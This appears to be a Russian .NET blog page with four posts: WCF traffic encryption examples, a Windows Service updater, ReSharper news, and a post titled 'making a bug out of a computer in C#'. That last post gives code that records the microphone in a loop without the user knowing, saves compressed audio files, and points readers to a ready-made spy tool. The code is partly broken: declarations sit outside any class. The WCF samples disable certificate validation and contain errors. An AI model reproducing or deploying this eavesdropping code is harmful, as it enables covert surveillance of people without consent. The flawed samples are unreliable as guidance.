.NET

WCF и шифрование трафика

Приведу пример кода для шифрования трафика между клиентом и сервером в WCF комуникаций.

Шифрование сертификатами

на клиенте прописываем

                Uri tcpUri = new Uri("net.tcp://" + settings.cServer + ":7777/");
                EndpointAddress address = new EndpointAddress(tcpUri, EndpointIdentity.CreateDnsIdentity("CertName")); //имя сертификата
                NetTcpBinding binding = new NetTcpBinding();

                binding.Security.Mode = SecurityMode.Transport; //шифруем только траспорт
                binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.None; //аутентификация нам пока не нужна
               
                ChannelFactory<IWCFService> factory = new ChannelFactory<IWCFService>(binding, address);
                factory.Credentials.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.PeerTrust; //удалённому серверу мы доверяем, так же можно использовать класс для валидации сертификата (смотри другие члены класса X509CertificateValidationMode)
                service = factory.CreateChannel();

На сервере пишем следующий код

Uri baseAddress = new Uri("net.tcp://localhost:7777/");
         
            try
            {
                NetTcpBinding binding = new NetTcpBinding();
                binding.Security.Mode = SecurityMode.Transport;
                binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.None;
               
                svcHost = new ServiceHost(typeof(WCFService), baseAddress);
                svcHost.Credentials.ServiceCertificate.SetCertificate(StoreLocation.LocalMachine, StoreName.My,
                    X509FindType.FindBySubjectName, "CertName"); //сертификат у нас уже добавлен в хранилище, поэтому делаем его поиск по сабжект нэйм
                svcHost.AddServiceEndpoint(typeof(IWCFService), binding, String.Empty);
                svcHost.Credentials.IssuedTokenAuthentication.CertificateValidationMode = X509CertificateValidationMode.None; //аутентификация не нужна
                svcHost.Open();

Сертификат создаём при помощи утилиты makecert.exe из комплекта вижуал студии.
makecert.exe -sr LocalMachine -ss My -n CN=CertName-sky exchange -sk CertName-key

Шифрование средствами Windows

на клиенте

                Uri tcpUri = new Uri("net.tcp://" + settings.cServer + ":7777/");
                EndpointAddress address = new EndpointAddress(tcpUri);
                NetTcpBinding binding = new NetTcpBinding();


                binding.Security.Mode = SecurityMode.Transport;
                binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.Windows;
                NetworkCredential credential = new NetworkCredential();
                client = new ServiceClient(binding, address);

                credential.Domain = "Domen";
                credential.UserName = "User";
                credential.Password = "Password";
               
                client.ClientCredentials.Windows.ClientCredential = credential;
                clinet.Func("test");

Класс ServiceClient, каждая функция сервиса должна быть прописана в классе по примеру функции Func

  class ServiceClient : ClientBase<IService>, IService
    {
        public ServiceClient(NetTcpBinding binding, EndpointAddress address)
            : base(binding, address)
        {
        }
         public void Func(string param)
        {
            return base.Channel.Func(param);
        }

}

на сервере

             Uri baseAddress = new Uri("net.tcp://localhost:7777/");
              NetTcpBinding binding = new NetTcpBinding();
              binding.Security.Mode = SecurityMode.Transport;
              binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.Windows;
               
              svcHost = new ServiceHost(typeof(Service), baseAddress);
              svcHost.AddServiceEndpoint(typeof(IService), binding, String.Empty);

Нужна будет помощь, пишите )

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

Делаем обновлялку для Windows Service

Поскольку ClickOnce не умеет разворачивать и обновлять Windows Service приложения, была поставлена задача разработать собственную систему обновлений. Программа висит в трее, проверяет статус сервиса и выкачивает обновления если они есть. Обновление так же можно выкачать в ручную.

tray

Проверка наличия обновления происходит сверкой md5 хэша сборки,останавливает службу, выкачивает если не совпадает и заменяет обновляемые файлы. Обновления же мы зачиваем на веб сервер, в эту же папку кидаем файл index.php, он создаёт xml страницу с именем файла и его хэшэм.

update

Все файлы во вложении далее, будут вопросы, пишите.

скачать исходники

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

R# 5 доступен для Visual Studio 2010 Beta 2!

Было объявлено о запуске программ раннего доступа к R# 5 которая доступна каждому желающего. К сожалению, открытая программа EAP и сборки ReSharper 5 были исключительно для Visual Studio 2008 (ранее существующий билд для VS 2010 Beta 1 не запускался в Beta 2). Теперь, начиная со сборки 5.0.1526.25, R# 5 приобрёл полноценную поддержку Visual Studio 2010 Beta2.

Любителям ReSharper предоставлен доступ на закачку билда 5.0.1526.25 или более свежего, когда он появится, на странице R# 5.0 Nightly Builds.

Удачной разработки!

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong

Делаем жучок из компьютера на c#

Вступление

Если в твой ноут или компьютер в стандартную конфигурацию входит микрофон, то будь на чеку тебя могу подслушивать и ты об этом можешь даже не узнать. Как? Ниже представленый код покажет вам как это можно сделать на c#. Код запросто переделать под любой другой язык программирования.
От теории к практике

Для реализации идеи я использовал библиотеку winmm.dll.

using System;
using System.Threading;
using System.Runtime.InteropServices;
using System.IO;
using System.IO.Compression;
//для начала сделаем импорт нужной нам функции
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]

private static extern int mciSendString(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
namespace WindowsFormsApplication1
{
static void Main()
{
while (true)
{
//откроем устройство для записи аудио с микрофона
  mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);

//начнем запись
 mciSendString("record recsound", "", 0, 0);

//остановим цикл на 5 минут, для сбора данных
Thread.CurrentThread.Join(300000);
//сбросим записанные данные в файл
  mciSendString(@"save recsound C:\test.wav", "", 0, 0);
//закроем устройство записи
  mciSendString("close recsound ", "", 0, 0);
//сгенерируем имя архива и сделаем архивацию аудион файла. Почему именно таким образон а не сразу в mp3? К сожалению mci не умеет писать в mp3, по непонятным пока мне причинам.
Random rand = new Random();
FileStream stream = new FileStream(@"C:\test.wav",FileMode.Open);
byte[] bytes = new byte[stream.Length];
stream.Read(bytes, 0, bytes.Length);
stream.Close();
//пакуем в gzip
GZipStream gzip = new GZipStream(File.Open(@"C:\test-" + rand.Next(1000, 5000) + ".gzip", FileMode.Create), CompressionMode.Compress);
gzip.Write(bytes,0,bytes.Length);
gzip.Close();
File.Delete(@"C:\test.wav");
}
}
}

Код прост до безобразия. Почему именно на c# спросите вы?
Потому что он хороший и я его люблю. =)

Готовые решения

В качестве готового решения, если не хочется изобретать велосипед, могу посоветовать mcispy написано сие чудо на делфи, проект находится на стадии тестирования.

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web News2.ru БобрДобр.ru RUmarkz Ваау! Memori.ru rucity.com МоёМесто.ru Mister Wong